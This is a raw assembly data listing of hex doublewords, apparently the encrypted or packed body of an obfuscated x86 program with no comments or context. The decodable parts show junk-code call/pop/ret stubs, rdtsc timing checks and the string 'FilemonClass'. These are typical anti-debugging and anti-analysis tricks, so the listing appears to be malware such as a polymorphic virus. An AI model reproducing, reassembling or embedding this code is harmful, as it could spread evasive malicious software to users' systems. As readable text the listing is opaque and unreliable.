		dd 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 0D3F0701Ah
		dd 0A673AEADh, 0C4A639FFh, 68F0707Ch, 6C73AEADh, 0A1A679FFh
		dd 98F0707Ch, 3573AEADh, 0DA63DFFh, 6EF0707Ch, 1E73AEADh
		dd 98A675FFh, 0E5F0707Ch, 7B73AEADh, 2AA671FFh,	22F0707Ch
		dd 0D773AEAFh, 7CA66DFFh, 27F0707Ch, 4273AEAFh,	0B6A669FFh
		dd 34F0707Ch, 0F073AEAFh, 0EFA665FFh, 7FF0707Ch, 0A673AEACh
		dd 0C4A659FFh, 26F0707Ch, 6C73AEAFh, 0A1A661FFh, 75F0707Ch
		dd 3573AEACh, 0DA65DFFh, 0EF0707Ch, 1E73AEACh, 98A659FFh
		dd 0BEF0707Ch, 7B73AEACh, 2AA649FFh, 0C6F0707Ch, 0D773AEACh
		dd 7CA645FFh, 0AF0707Ch, 4273AEACh, 0B6A641FFh,	14F0707Ch
		dd 0F073AEACh, 0EFA655FFh, 43F0707Ch, 0A673AEADh, 0C4A651FFh
		dd 73F0707Ch, 6C73AEADh, 0A1A64DFFh, 0B8F0767Ch, 3573B074h
		dd 0DA600FFh, 36F0767Ch, 1E73B053h, 98A1FCFFh, 0B0B69C7Ch
		dd 0F29D11F1h, 2375FD7Ah, 696417FBh, 0D525FB29h, 0ADFDF53Fh
		dd 91262E86h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah
		dd 8E987C27h, 0A073AEAFh, 7CA67EFFh, 14C87D7Ch,	0CF73AEA9h
		dd 0E4C5B409h, 0F9B54B75h, 863589BAh, 0EFA1FCEFh, 96FEBD7Ch
		dd 2F7A452Bh, 28AFD7Ah,	0CD26297Bh, 36F148F7h, 0C6F8FB29h
		dd 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 9126297Bh
		dd 18F148F7h, 0D1F8FB29h, 228A50FCh, 87BC1F23h,	0EFA67EF7h
		dd 52DA07Ch, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah,	708A5779h
		dd 0F4262E87h, 79D3ED1h, 0DA75FD78h, 54CD9BC2h,	0D0DE9B59h
		dd 0C4A600EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h
		dd 0EFA600EFh, 54C54D7Ch, 0BA8AAD79h, 91262E87h, 2BF69B20h
		dd 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h,	652FFD7Ah
		dd 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh, 9D3ED1h
		dd 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh,	7FA916D0h
		dd 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h
		dd 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh
		dd 21886885h, 1F2FFB29h, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h
		dd 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah
		dd 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
		dd 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch,	0EE75FD7Bh
		dd 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h,	0FA74BE8Ch
		dd 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h
		dd 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 2AA1FCEFh,	74C0707Ch
		dd 5D73AEA9h, 2C7F518Ah, 6AE002D0h, 873AEA9h, 0E574E592h
		dd 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h,	2C7FA5CAh
		dd 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh
		dd 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h,	0CB750C92h
		dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
		dd 252D4D7Ah, 69B65779h, 98A687FFh, 9FC87D7Ch, 0F373AEA9h
		dd 0FCF8EC0Fh, 0BA262E96h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
		dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0EFA687F7h
		dd 24C87D7Ch, 2F73AEA9h, 12F8F10Fh, 0CD262E96h,	0E4DE152Ah
		dd 4AB6FD7Ah, 7975FD7Eh, 68746885h, 0C3F8FB29h,	29262533h
		dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah,	0BB5E3AF1h
		dd 357115F9h, 0CB8A3E78h, 29262E87h, 96514ACEh,	74C1FF0Eh
		dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
		dd 25B5F179h, 68B65778h, 98A600EFh, 0EA917D7Ch,	42F539FAh
		dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
		dd 0CB7345B9h, 708AFD7Ah, 0F426297Bh, 0AA9560F7h, 0A0F8FB29h
		dd 4ECD3E39h, 0D075FD7Ah, 0C4A1FCEFh, 0CEB57E7Ch, 1A8935F1h
		dd 0A1A600EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h,	5A72D97Bh
		dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
		dd 0BC9D9D86h, 475FD7Ah, 0F72C17FBh, 0EAFCFB29h, 37CF7D86h
		dd 0E573AEA9h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 0DA1FCE8h
		dd 0ADFCBD7Ch, 9126297Fh, 79F835F1h, 0E3262457h, 21886F85h
		dd 7FFDFB29h, 4801F3Ch,	5E75FD6Dh, 0FB707F79h, 1A35FB29h
		dd 98ACDCE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h,	68707779h
		dd 0ECF8FB29h, 29262475h, 2F2B5989h, 0CB75FD72h, 31746F85h
		dd 0AF6FB29h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah,	0F7C3F24Bh
		dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
		dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
		dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
		dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch,	0F2B6AD3Ah
		dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
		dd 98ACBD90h, 0ECCF707Ch, 7973AEAEh, 71CCF50Fh,	4F75FD7Ah
		dd 9CBC9CDEh, 0A226FD7Eh, 0C4A1F4E7h, 0D3497D7Ch, 0BE71887Bh
		dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 0F60C17FBh
		dd 25F8FB29h, 0CD262973h, 5C7D80F1h, 0F275FD72h, 0B0145989h
		dd 0DC75F9B8h, 8A7C40F7h, 0EF46FB29h, 9775F5C3h, 0AADF0E7Ah
		dd 58F89DB9h, 0F4262973h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
		dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 317C40F7h,	0F3CDFB29h
		dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 436378F7h
		dd 0D08AFB29h, 16EBCA8Bh, 656C6946h, 636E6F6Dh,	7373616Ch
		dd 2 dup(0)
		dd 3A80101h, 6530000h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0A3C35646h, 0C2D7DB87h, 18A0Fh, 33F90000h
		dd 4D23D595h, 0BF669006h, 51509842h, 7E957h, 0CA820000h
		dd 0D1E6E05Eh, 905B5FD1h, 89006AFCh, 4D2DE58Dh,	6A006A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8A61C350h, 4C858DDCh, 6A0653DBh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0C32FC355h, 0E5973316h, 0B9666617h, 0BA906A29h, 595E5DEFh
		dd 0AE850h, 96A90000h, 5886D2DFh, 0A1DF3B7Ah, 905ACB8Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0E2C35040h
		dd 6477F0C6h, 6A3A9579h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0F9AB04FEh, 95FF006Ah
		dd 64D1149h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	0BCC35747h, 0BE91EF8h, 6A000006h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 92CDC352h
		dd 0BA662975h, 0E85DD3h, 5D000000h, 0DB51ED81h,	6A0653h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 5C9614C3h, 82A628FDh, 858D2966h, 8A064D2Bh, 50006ADAh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 9BED5E81h, 8BFF261Dh, 4E8FAh, 0FA00000h, 0D08B0000h
		dd 97BE6050h, 0E875E37Ah, 7, 0F1A05727h, 50BCC7DFh, 5A310F52h
		dd 8B615A58h, 8B042444h, 0D3BB6600h, 244489E9h,	0E2815804h
		dd 0F270617h, 51195FFh,	0E5B7064Dh, 0D9EAB58Dh,	0EBBF0653h
		dd 0C7329901h, 67655206h, 52006A6Dh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 99CB126h, 0C3B91549h
		dd 297570AAh, 4D2701BDh, 446C706h, 6C636E6Fh, 610846C7h
		dd 66007373h, 6AD78Bh, 9E850h, 0BC90000h, 35E21251h, 0E8195690h
		dd 0Ch,	0A6C600A4h, 8E0B9040h, 25C7CE24h, 8D5F5B5Bh, 53D9EA85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0BC75B7AFh, 60ADBB61h, 391BD89h,	860F064Dh
		dd 5, 88C68166h, 0B70F61E4h, 0E98166D6h, 6090DA43h, 61585360h
		dd 310F5250h, 5AF38B66h, 60506158h, 9061DF8Bh, 397B0DBAh
		dd 0B595FF55h, 6A064D0Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 5B38C356h, 5A0EB91h
		dd 0B5BD89A4h, 0B064D2Fh, 0A840FC0h, 8B000000h,	3A9E9F9h
		dd 8B660000h, 50D068D7h, 34810C65h, 6551FC24h, 0BBF660Ch
		dd 1195FFAFh, 6A064D05h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0F7FEC351h,	0B58D7563h
		dd 653D9EAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	6EC35747h, 0B64BC119h, 291CE195h, 4D30A195h, 12E806h
		dd 70F20000h, 0BD8C3BD1h, 0E51A27FFh, 7112863Ch, 112B5DCFh
		dd 2BA5958Bh, 0C75F064Dh, 34383106h, 52006A36h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 687961CAh
		dd 8C50A3BDh, 0AD9BD89h, 46C7064Dh, 342D3704h, 0FE831h
		dd 772C0000h, 0A6AD1300h, 3E9F81BDh, 0B85C23F7h, 5ACA8BA7h
		dd 846C7h, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0C7D4C350h, 21E18D2Bh,	6A064Dh
		dd 0E8481ABFh, 0C5B5892Ch, 8D064D0Eh, 53D9EA85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 7B8AAEC5h, 8B7962D7h, 4D2A1DBDh, 0C9958B06h,	90064D2Bh
		dd 52505250h, 12E8h, 4E5A8900h,	0A5230E2Eh, 56C3EF83h
		dd 2FE09D9Ah, 5AB1EBD0h, 0F08A310Fh, 310F585Ah,	12820Fh
		dd 0CE80000h, 6D000000h, 0D87FDF59h, 0D14A5DFCh, 5A77FF8Dh
		dd 9050585Ah, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 14h,	49C35343h, 8B505F57h, 4D23BDBDh, 98BF5906h, 0FF4587D2h
		dd 4D0BB595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 73B43AC8h, 0BA66A32Ah, 0C00B2458h
		dd 28840Fh, 84B70000h, 1C6E9h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0D0B3B3E4h
		dd 826803B5h, 52048028h, 815FCE8Bh, 29AE2434h, 95FF0480h
		dd 64D0511h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	8DC35141h, 0CD65CCAAh, 2BB98D8Bh, 0B58D064Dh, 653D9EAh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 5FC35343h
		dd 6F1B2D58h, 694606C7h, 0A5B3656Ch, 6D0446C7h,	6A636E6Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 5119C357h, 2B31B589h, 0C759064Dh,	616C0846h
		dd 6A7373h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0C9AF78C3h, 0E939761Ch, 14h, 7A5886D2h, 0DDA1DF3Bh
		dd 99D892AEh, 7F51EE75h, 0E1F2645Ah, 0C46C7h, 89000000h
		dd 4D20599Dh, 6A006A06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0A62AC351h,	546308BCh
		dd 0EA858D1Fh, 810653D9h, 40FE12D9h, 8B665074h,	240489CFh
		dd 0C2D9D8Bh, 95FF064Dh, 64D0BB5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 3C35646h, 12E88D07h, 0B8000000h
		dd 83851EEEh, 0CB97690Fh, 0CE9A618Dh, 0F7CE145Dh, 0A4F18033h
		dd 0FC00B5Fh, 2D84h, 188A0F00h,	60000000h, 0BE9h, 64595000h
		dd 0DC495EBh, 2D5C6603h, 5A5850Bh, 0E961064Dh, 1Bh, 5E9h
		dd 43C04D00h, 0B7E96F00h, 89FFFFFAh, 4D2DFDBDh,	758D8B06h
		dd 8D064D30h, 4D740EB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0FFE7059h, 1885h, 0CE800h
		dd 77DB0000h, 16C32F69h, 17E59733h, 95897866h, 64D1435h
		dd 0B85Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0E413E9C3h, 0ED4EEBC7h, 60E6FF4Bh
		dd 68B0Fh, 858B0000h, 64D2F41h,	14E9h, 0D8FB000h, 58F1A3ACh
		dd 737E5B7Fh, 0B5D6F54h, 912AC925h, 0C18B61C4h,	0E1D48D8Dh
		dd 8E0F0653h, 6, 10F19D33h, 8D89064Dh, 64D0599h, 1D85C7F5h
		dd 5C064D05h, 8B00005Ch, 4D280DBDh, 0E985C706h,	64D02h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 8DC9C350h, 0B8888EE7h,	11D234B9h
		dd 25F9B5FFh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 1D7B48C3h, 0ECBACA46h, 97E4B89h
		dd 4D0FC98Dh, 81BD3106h, 8B064D24h, 5595FFF1h, 6A064D2Eh
		dd 1195FF00h, 8B064D05h, 502CEBC0h, 95FBFA2Bh, 52C38BD4h
		dd 2D03C2F4h, 0B14E6724h, 0DC22B134h, 0CAF6717Bh, 49E1D84Ah
		dd 0FFB29ABDh, 0EEA76CC2h
		dd 9E33EF33h, 0E8AE6E06h, 6, 1CD9E698h,	0BF0F6766h, 858959F0h
		dd 64D0B0Dh, 61F0C181h,	4B680000h, 8B000018h, 4D3251B5h
		dd 0FFF95806h, 6860F31h, 8B000000h, 4D2B3DB5h, 0C3815B06h
		dd 512C972Ah, 600C81BEh, 6EB8119h, 0E80EC971h, 14h, 0E78DC94Eh
		dd 0D024888Eh, 2C792D36h, 9C6B8B1Ch, 4477D0CBh,	32C3815Eh
		dd 0E808FAB9h, 12h, 4E731876h, 4268E8E5h, 42106AA1h, 1FC5E3B9h
		dd 45BA8A85h, 5E06A527h, 0E9811989h, 65B1AE4Eh,	28B0Fh
		dd 9B60000h, 0AE4AC181h, 816665B1h, 81B48ECEh, 1E8h, 0F850F00h
		dd 0E9000000h, 1Ch, 4899957Eh, 43643151h, 0D08B23C4h, 0FFFF66E9h
		dd 81CF65FFh, 0C45860B9h, 9CD966A6h, 70A2CAFEh,	0F901A80Bh
		dd 71E98A4Fh, 0D5ABA80Bh, 764175EAh, 0FE0FA80Bh, 5DBA8A4Fh
		dd 0FEE457AEh, 76B18A4Fh, 0D5ABA80Bh, 777875EAh, 0FF2AA80Bh
		dd 77FA8A4Fh, 0FC54A80Bh, 747C8A4Fh, 0D5ABA80Bh, 2F2575EAh
		dd 79B755D4h, 76C00313h, 0A752FBB3h, 0F1A1E190h, 0F2D12157h
		dd 2F43D9F7h, 79B06AD4h, 7EC00313h, 0A752FBB3h,	0F1A09090h
		dd 0CED12157h, 2F43D9F7h, 79B1D9D4h, 4AC00313h,	0A752FBB3h
		dd 0F1A04C90h, 0DAD12157h, 2F43D9F7h, 79B2A2D4h, 56C00313h
		dd 0A752FBB3h, 0F1A3D990h, 0D6D12157h, 2F43D9F7h, 79B23CD4h
		dd 0A2C00313h, 0A752FBB2h, 0F1A35F90h, 2ED12157h, 2F43D9F6h
		dd 79B3BED4h, 0AAC00313h, 0A752FBB2h, 0F1A2C590h, 26D12157h
		dd 0C343D9F6h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h,	0A2458AFDh
		dd 0C0D5F251h, 0A41669A2h, 2AA8ED96h, 29458A15h, 0E367A024h
		dd 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh
		dd 34D3AAEh, 42848C58h,	2211AB53h, 5D55FFEAh, 3AABA424h
		dd 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h
		dd 2FEE27BFh, 79818FDBh, 12947513h, 0A0D90201h,	0A4165F32h
		dd 0A1EC79AEh, 941AE51h, 0FF7322DCh, 73BA8C46h,	2ADF1037h
		dd 28C82173h, 2C077D76h, 2BFD5BEAh, 81508C15h, 77620098h
		dd 0FBABAE02h, 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4166E62h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h, 2C19A690h
		dd 69CE529Eh, 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A4165F32h
		dd 9A0D79AEh, 1A232094h, 81328C55h, 0DF6E2184h,	0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0C2345495h,	0A2458A15h
		dd 0E4BE290Bh, 2943D9F1h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 63D77553h, 0A152E55Fh, 69CE19CDh, 0B9979BFCh, 31EFE2A5h
		dd 0A0D9F9FAh, 0A4165F32h, 9A0D79AEh, 1A232094h, 81328C65h
		dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h
		dd 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 0C9953BFDh
		dd 9197B91Dh, 0F2DE0491h, 0A2454A38h, 0D5A82851h, 0A25E0E1Ah
		dd 23EDA851h, 55458A15h, 25862DA0h, 0A2458690h,	32A32851h
		dd 0AA8E4B73h, 4C972337h, 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh
		dd 7F54A093h, 66C6669Eh, 5FDFC8ADh, 0AE38011Dh,	2AA8ED96h
		dd 0E458A15h, 22B769C2h, 62765826h, 78C22FDh, 0A2458AD5h
		dd 25AB54D1h, 0A2459391h, 2A5D1151h, 53B28A15h,	0AF5B7AD4h
		dd 0A2458A1Fh, 0E25610E0h, 91EF4B93h, 577F0391h, 5E380319h
		dd 0D6112330h, 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h
		dd 5E004D19h, 2A54A851h, 229D00B9h, 0E1D4A7B2h,	8860085h
		dd 0FF7322DCh, 73BA8C46h, 0A7FEF8E1h, 0F190AD9Fh, 0A0855757h
		dd 0DF6E20D6h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h
		dd 0A1345495h, 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 2A54AFE9h
		dd 0BBD77515h, 2652E578h, 28C82045h, 2C077D76h,	2BF55BEAh
		dd 86949BFBh, 622E8531h, 8050AC59h, 89EFAEA5h, 57DDA42Ch
		dd 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h,	294DFF9Eh
		dd 6F93A42Ch, 0A2458AE9h, 0D5FE0451h, 0EF4B4B87h, 868C2357h
		dd 2FEF4917h, 79818FDBh, 0C4947513h, 4CBD28E9h,	88600BEh
		dd 0A358D57Ah, 29247668h, 0E89D5414h, 29108A1Dh, 0D6902BBDh
		dd 0AA300175h, 0ED58D5DAh, 0A2457650h, 80F8A851h, 0AC8418EAh
		dd 0E2DFAE1Ch, 88558B9h, 0FF7332DCh, 71BA8C46h,	0E3941037h
		dd 63CF2173h, 262983FBh, 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h
		dd 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 8654A851h
		dd 63D775BFh, 0A152E55Fh, 637726DDh, 0DCE25FBh,	5D43D9C0h
		dd 0AAECCE82h, 28EEECE4h, 577F0290h, 5E380319h,	0D6112330h
		dd 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h
		dd 2A54A851h, 6B773273h, 0B0D90337h, 0A4165F32h, 92327BAEh
		dd 9234B95h, 1FE04FDh, 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h
		dd 0C6DFFD51h, 0C2B94E96h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh
		dd 24FDEC15h, 0A7FFCEB8h, 0F190AD8Fh, 9A875757h, 0E0320A0h
		dd 0DCE25FBh, 5D43D9C0h, 0ACECCE82h, 89EEECD8h,	57DDA42Ch
		dd 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h,	0A2458AFDh
		dd 0C0D5F251h, 0A4166D8Ah, 2AA8ED96h, 29458A15h, 57DFA024h
		dd 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h
		dd 2A492C5Eh, 13798A15h, 2A382C5Eh, 0F2798A15h,	2A5C2A5Eh
		dd 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h
		dd 0FECE2559h, 0F143D9F7h, 0C9FF32DCh, 71BA8C46h, 0C3A8EDD8h
		dd 0A2458A42h, 0D558DDAEh, 38C88260h, 2C074AB5h, 9DF0746h
		dd 0D552FBB2h, 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh
		dd 0F1A77A8Fh, 0B0D9FB57h, 0A41669BEh, 6FDD7BAEh, 0A25863E9h
		dd 5FABA851h, 0AA307519h, 0C8A832DCh, 2F168C46h, 79B703CBh
		dd 2B967513h, 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h
		dd 3044h, 0D419D8Dh, 34B8064Dh,	89000014h, 4D151985h, 0E806h
		dd 5580000h, 0Dh, 34E90389h, 14h, 50Ch dup(0)
		dd 0E8000000h, 0Fh, 31C79AA0h, 4B8C6902h, 26539C93h, 66E97245h
		dd 815ACE8Bh, 5F59EDD8h, 64C28154h, 0F8000071h,	68h, 5E900h
		dd 0EB170000h, 5BAF51FEh, 1C890Fh, 850F0000h, 16h, 10E8h
		dd 82A1EA00h, 0C1EA3B47h, 7D32C36h, 9046D35Dh, 348B5911h
		dd 34EE811Ah, 0E8402CD6h, 12h, 0F97C550Bh, 132E4DEEh, 52D54EA3h
		dd 9B2DD886h, 0CF8B9F5Dh, 8BC6815Fh, 515AD2DEh,	59FFB70Fh
		dd 9963C681h, 0BF0F49DCh, 0E88156FAh, 17A74635h, 0F1A048Fh
		dd 198Fh, 14E900h, 54750000h, 0FEDB1059h, 0CF0EC2C1h, 0F1153110h
		dd 75D933Ah, 8A0FF577h,	6, 8B16E881h, 0EB834700h, 0BE904h
		dd 0A4F0000h, 7B884B33h, 0A8D13F5Dh, 78FB813Ch,	0FFFFF8Fh
		dd 0FFFF7585h, 0C8B70FFFh, 0FE8B8D8Dh, 85890653h, 64D0BD1h
		dd 5998D89h, 85C7064Dh,	64D051Dh, 5F0Ch, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 5BC35545h, 0BAB11C52h
		dd 92FFE81h, 4D2401BDh,	0E985C706h, 64D02h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 3BB1C353h, 78AAB1ACh, 0B470EF9Ah,	0FE9h
		dd 0DBA78F00h, 6A50D1B7h, 0A77C7BB9h, 8353277Eh, 1FE5B5FFh
		dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 9E0F02C3h, 20CBC0Ah, 0F38166F6h, 95FF9AF7h
		dd 64D2E55h, 38CD8060h,	0B599D89h, 5661064Dh, 10E9h, 0F3E7F800h
		dd 0AED9F8DDh, 0BD9F56h, 0F8C2D319h, 6A5A34h, 51195FFh
		dd 0C08B064Dh, 491E2FEBh, 0CEA5746Ch, 5B010336h, 0F340BF68h
		dd 0ED4A2144h, 0D5CFF9CFh, 9B78E1D9h, 0E81CDB3Eh, 0AF9AB839h
		dd 0F92AE11Bh, 9133D8DCh, 789D6293h, 0B7E927h, 73390000h
		dd 16E1C1CDh, 0BA846470h, 5B280814h, 0C9A9B5h, 0A44C4E5Ah
		dd 78842AF3h, 1F2BD198h, 0C1CD733Fh, 677319E1h,	0ACD403D0h
		dd 85D4FB22h, 0A8753A7Ah, 945FBD02h, 61B021EEh,	1AE13F8Ch
		dd 236A774h, 129513Ah, 9FBA094Fh, 4A56FCC9h, 4EE1DC99h
		dd 5A2BE9DBh, 0DE3CDB32h, 2D9E6B11h, 6AC7B9E8h,	16ADB0Ch
		dd 0A02983B2h, 106EDACAh, 43E9B144h, 4D9C0DDAh,	8911241Eh
		dd 3C2DAh, 54780000h, 9AF758Ch,	7016DE3Ch, 0D37945A3h
		dd 3BE1A806h, 0A147106Eh, 7AD76D4h, 690FDC3Ah, 0CE743E9Ch
		dd 32D8A301h, 0C468E865h, 0E90653FEh, 0FFF9804Dh, 2E3BCBE5h
		dd 0FF6CB831h, 0C5030653h, 12E8h, 9A23B500h, 37A17998h
		dd 3A43B276h, 2E21409Dh, 0F3E517Fh, 8958F1BFh, 4D17C195h
		dd 0CCC08106h, 0E800005Fh, 0Bh,	6055D774h, 0C68A9BA4h
		dd 0BA2133E8h, 3168A92Dh, 66FF2B5Bh, 0C8BF78Bh,	0FD858938h
		dd 81064D1Fh, 0A0822CF1h, 899D290Ch, 81064D14h,	0C3EFD2F1h
		dd 9E923h, 6F550000h, 53575014h, 81AB9B73h, 43EA85E9h
		dd 8C0F5056h, 6, 3C99D8Bh, 515E064Dh, 0BE9h, 0DCD8400h
		dd 3974D0F2h, 11F616ECh, 8038048Fh, 850FF5DAh, 7, 18E0Fh
		dd 81FC0000h, 0BAE3E3EFh, 37DB805Ch, 0E3DFC781h, 85895CBAh
		dd 64D1065h, 0A0F4FF81h, 850FFFFFh, 0FFFFFF7Eh,	0EE68166h
		dd 0F204EB96h, 0E911AF75h, 0D93h, 54026268h, 7F63E906h
		dd 6468FFF9h, 0E9065403h, 0FFF97F59h, 54043868h, 7F4FE906h
		dd 0E968FFF9h, 0E9065404h, 0FFF97F45h, 54081368h, 7F3BE906h
		dd 4868FFF9h, 0E906540Bh, 0FFF97F31h, 540C7568h, 7F27E906h
		dd 4B11FFF9h, 0EEB999A5h, 925C3C48h, 3300E0ECh,	0D8A1818Dh
		dd 8C242632h, 505C02CBh, 0F703A970h, 99A54B17h,	3F4BF1B9h
		dd 0D4ACDBA8h, 5DD4FB20h, 662F8D52h, 0CE95F3C0h, 0A169BF28h
		dd 6EBD2EFBh, 6AC75A6h,	690FDB39h, 97D5005Dh, 42C82352h
		dd 0E049D138h, 0F0F65F9Bh, 90347E29h, 373D6C41h, 49D501C6h
		dd 4ED09CFAh, 1C6611Fh,	0FE67D0D5h, 8761F531h, 947A5ABEh
		dd 0F470DC2Bh, 5B107909h, 339EB6h, 0F8DC0000h, 1B4A8FDDh
		dd 0D1384284h, 837046Dh, 0D501FE6Ch, 0EDBA602Ah, 501DC38Fh
		dd 8194B2Fh, 6876ED09h,	0AD19823Ch, 48DA053Fh, 6FB65B36h
